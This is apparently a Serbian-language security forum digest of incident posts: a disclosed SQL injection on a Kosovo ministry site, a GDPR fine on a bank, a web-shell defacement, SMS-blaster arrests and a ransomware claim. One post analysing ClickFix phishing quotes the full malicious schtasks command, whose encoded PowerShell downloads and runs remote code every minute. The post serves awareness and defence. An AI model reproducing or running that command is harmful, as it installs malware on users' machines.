Na zvaničnom sajtu rks-gov.net (Republika Kosovo – Ministarstvo unutrašnjih poslova) identifikovao sam SQL Injection ranjivost.
Ranjivost sam prijavio i ona je u međuvremenu tehnički otklonjena (prilog ispod), međutim posledice bezbednosnog propusta i dalje su prisutne.
Tokom analize utvrdio sam da je kroz ovu ranjivost bilo moguće ostvariti neovlašćen pristup značajnoj količini osetljivih podataka, uključujući:
1. Nalozi: Više od 3.000 korisničkih naloga, sa pripadajućim email adresama i login podacima sa hashed / unhashed šiframa.
2. Preko 16.000 zapisa iz baze COMPLAINTS (pritužbe građana).
Posebno je zabrinjavajuće to što baza pritužbi sadrži detaljne prijave građana protiv različitih privrednih subjekata, kao i lične podatke podnosilaca prijava, uključujući:
- Ime i prezime
- Broj telefona
- Sadržaj prijave (opis i detalje pritužbe).
Ranjivost je zatvorena, ali samo zatvaranje ranjivosti ne umanjuje činjenicu da su podaci već mogli biti kompromitovani i zloupotrebljeni ranije.
Sa Benchmark foruma :
Ovo je ClickFix fišing gde pokušava da natera posetioca da pokrene komandu na svom računaru, komanda koja se nađe kopirana u klipbord je :
schtasks /create /tr "powershell -EncodedCommand aQBlAHgAKAAoAGkAcgBtACAAbABlAHEAZABnAGUAcgAuAGMAbABpAGMAawAvADMAMgAxACkAKQA=" /sc minute /mo 1 /tn "Enter"Skriveni sadržaj je Base64 enkodovano "iex((irm leqdger .click/321))" i cela ova komanda pokreće skidanje i pokretanja sadržaja sa ovog linka svakog minuta u pozadini i u tišini.
Na linku je naravno malver :
malver je identifikovan kao ClearFake :
Quote:ClearFake is a new malicious JavaScript framework deployed on compromised websites to deliver further malware using the drive-by download technique.
12-18-2025, 03:18 PM
Forum: Odgovor na incidente i svest o bezbednosti
- No Replies
Quote:Agencija za zaštitu osobnih podataka izrekla je upravnu novčanu kaznu banci, kao voditelju obrade, u ukupnom iznosu od 1.500.000,00 eura zbog višestrukih kršenja odredbi Opće uredbe o zaštiti podataka, objavili su na svojim stranicama.
Utvrđeno je da banka obrađuje osobne podatke 433.922 ispitanika (korisnika) putem programskog rješenja implementiranog unutar aplikacije mobilnog bankarstva, bez pravne osnove iz članka 6. stavka 1. u vezi s člankom 5. stavkom 1. točkom a) Opće uredbe o zaštiti podataka.
Konkretno, banka je implementirala program unutar aplikacije mobilnog bankarstva za Android i Huawei operativne sustave, koji skenira sadržaj mobilnog uređaja te prenosi i pohranjuje, između ostaloga, i popis svih instaliranih aplikacija i programa u centraliziranu bazu podataka banke, što predstavlja izrazit, prekomjeran i neopravdan upliv u privatnost.
...
Banka je mogla i morala implementirati rješenje koje manje zadire u privatnost ispitanika, primjerice rješenje koje bi centralizirano pohranjivalo samo informacije o aplikacijama koje su na ‘crnoj listi‘, čime bi se u manjoj mjeri zadiralo u privatnost ispitanika, a ne popis svih instaliranih programa i aplikacija na mobilnom uređaju.
Makedonski sajt Komisije za zaštitu konkurencije je doživeo više kompromitacija.
Trenutno prikazuje poznati PHP Web Shell kao glavnu stranicu :
uobičajeni izgled sajta :
Pored toga, sajt se verovatno već duže vreme zloupotrebljava za SEO spam :
Nisam znao da smo popularni u Kini, neko pokušava da registruje domene sa imenom foruma tamo!
Naravno ovo je prevara, ko se javi dobije ponudu da on potpuno bespotrebno registruje te domene umesto tih nekih imaginarnih ljudi za neku "sića" cenu.
brzo se može naći više informacija na netu..
Warned by Chinese registrar of someone registering our domain
I received an email from the China Intellectual Property Office. Someone is trying to buy my domain and others similar. What should I do?
Quote:Kako se sumnja, osumnjičeni su duži vremenski period na teritoriji Srbije koristili improvizovani IMSI kečer – uređaj koji funkcioniše kao lažna mobilna bazna stanica, preko kojeg su preusmeravali mobilne telefone građana i slali takozvane smišing SMS poruke. U porukama su se lažno predstavljali kao mobilni operateri, državna i javna preduzeća, kao i velike kompanije, dovodeći građane u zabludu.
Uhapšena su dva kineska državljanina zbog sumnje da su zloupotrebljavali platne kartice građana Srbije.
Two Chinese SMS Blaster Scammers Arrested in Serbia
Quote:Regular readers of Commsrisk may also notice a telltale sign that these criminals are connected to SMS blasting smishers found elsewhere. Photographs of the equipment found in their car show they possessed a distinctive orange DC-AC power converter of a type also used in conjunction with SMS blasters seized in many other countries.
12-17-2025, 12:03 PM
Forum: Odgovor na incidente i svest o bezbednosti
- No Replies
Monitoring digitalnih prava u 2025. godini: Glasovi otpora digitalnom nasilju
Quote:SHARE Fondacija je objavila redovan godišnji izveštaj monitoringa povreda digitalnih prava u Srbiji “Glasovi otpora digitalnom nasilju” sa analizom trendova iz preko 250 incidenata zabeleženih u proteklih 12 meseci.
Izveštaj monitoringa ove godine obuhvata period od novembra 2024. do decembra 2025. i dokumentuje dramatičan porast slučajeva zloupotrebe tehnologija u cilju nadzora, političkih pritisaka, tehničkih napada i manipulacije u digitalnom prostoru, naročito u kontekstu studentskih i građanskih protesta. S druge strane, umnožavaju se primeri građanske hrabrosti kojima je u ovom izveštaju posvećena posebna pažnja.
PDF izveštaj: https://sharefoundation.info/wp-content/...u_2025.pdf
Ransomware grupa Qillin tvrdi da je kompromitovala istarsku županiju :
Za sada nema uzoraka dokumenata kao što uobičajeno bude, možda će postaviti kasnije a kao link žrtve stavili su https://www.istra-istria.hr/
Koliko vidim web servisi koji su bili na javne-potrebe.istra-istria.hr trenutno nisu dostupni, prema Shodanu poslednji put je na IP adresi ovog servisa viđen web server 27-11-2025 :
webmail.istra-istria.hr je takođe nedostupan na HTTPS portu a poslednji put je viđen 17-11-2025 :
špekulativna indikacija je da se kompromitacija možda desila pre oko mesec dana
Quote:Svi ovi podaci okačeni su na javni server, koji ne koristi puno ljudi, ali teoretski, svako može da mu pristupi. Nakon što je dobio informaciju da je server neočekivano zagušen, jedan od korisnika, sticajem okolnosti IT stručnjak, je pogledao o čemu se radi.
Quote:"Po nekoj našoj verziji, i informacijama koje su dostupne nama – davnih dana je neka politička stranka krenula to da radi, međutim, to je preletelo u drugu političku stranku, verovatno u periodu kada se smenjivala vlast, gde je, opet po nekim našim zaključcima i analizama, dopunjeno sa JMBG-om i određenim napomenama", naveo je izvor N1.